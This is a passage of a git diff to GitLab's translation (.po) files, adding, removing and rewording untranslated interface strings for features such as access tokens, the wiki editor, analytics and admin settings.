-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/kab/gitlab.po b/locale/kab/gitlab.po
index 5183ce8cbb6..a693c4e1173 100644
--- a/locale/kab/gitlab.po
+++ b/locale/kab/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: kab\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:49\n"
+"PO-Revision-Date: 2021-07-01 21:36\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
